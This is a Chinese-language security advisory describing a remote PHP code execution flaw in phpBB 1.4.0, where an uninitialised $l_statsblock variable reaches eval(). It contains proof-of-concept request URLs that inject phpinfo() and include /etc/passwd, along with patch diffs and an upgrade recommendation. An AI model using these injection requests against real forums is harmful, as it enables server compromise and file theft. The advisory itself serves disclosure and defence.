首页 -> 安全研究

安全研究

安全漏洞
phpBB $l_statsblock变量远程执行代码漏洞

发布日期:2001-08-04
更新日期:2001-08-07

受影响系统:

phpBB.com phpBB 1.4.0
描述:

phpBB是一个免费,开放源代码,容易使用的Web论坛软件。

由于phpBB没有正确处理用户的输入,导致恶意用户可能通过构造一个特殊的请求来执行
php命令,并可能以httpd服务器身份执行任意代码。

问题出在一个不安全地函数调用上:"eval($l_statsblock);" 由于没有对$l_statblock
变量进行初始化,如果攻击者通过URL传输一些php命令给$l_statblock变量,就有可能
执行这些命令。


<*来源:"UnderSpell" (underspell@accao.net) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


"UnderSpell" (underspell@accao.net)提供了如下测试代码:

攻击者首先需要以一个普通用户身份登录phpbb,然后设置一个无效的lang文件:
http://hacks.phpbb.com/phpBB/prefs.php?viewemail=1&savecookie=0&sig=0&smile=
0&dishtml=0&disbbcode=0&themes=2&lang=THIS_IS_AN_INVALID_LANG_FILE&save=1&us
er=&submit=Gravar+Prefer%EAncias

这时$L_statsblock变量不再被初始化,因此攻击者可以执行代码,例如:
http://hacks.phpbb.com/phpBB/prefs.php?l_statsblock=phpinfo();
  或者
http://hacks.phpbb.com/phpBB/prefs.php?teste=/etc/passwd&l_statsblock=include($teste);


建议:

临时解决方法:

1 ) 检查是否lang文件存在:

--- phpBB-1.4.0/auth.php        Wed Apr 25 05:47:59 2001
+++ phpBB/auth.php      Thu May 17 12:11:01 2001
@@ -273,16 +273,19 @@
   // Include the appropriate language file.
   if(!strstr($PHP_SELF, "admin"))
   {
-   include('language/lang_'.$default_lang.'.'.$phpEx);
+   $langfile = 'language/lang_'.$default_lang.'.'.$phpEx;
   }
   else
   {
      if(strstr($PHP_SELF, "topicadmin")) {
-     include('language/lang_'.$default_lang.'.'.$phpEx);
-       } else {
-     include('../language/lang_'.$default_lang.'.'.$phpEx);
-       }
+     $langfile ='language/lang_'.$default_lang.'.'.$phpEx;
+        } else {
+                $langfile = '../language/lang_'.$default_lang.'.'.$phpEx;
+        }
   }
+
+ if ( ! file_exists($langfile) ) { die("Invalid Language");}
+ else { include($langfile); }

   // See if translated pictures are available..
   $header_image = get_translated_file($header_image);


   // See if translated pictures are available..
   $header_image = get_translated_file($header_image);

2 ) 在使用include前先将$l_statsblock变量初始化:

--- phpBB-1.4.0/auth.php        Wed Apr 25 05:47:59 2001
+++ phpBB/auth.php      Thu May 17 11:39:33 2001
@@ -269,6 +269,7 @@
   // set vars for all scripts
   $now_time = time();
   $last_visit = $temptime;
+$l_statsblock = '';

   // Include the appropriate language file.
   if(!strstr($PHP_SELF, "admin"))


厂商补丁:

升级到1.4.1以上版本,我们建议使用此软件的用户从厂商的主页下载最新版本:
http://www.phpbb.com/download.php




浏览次数:3803
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障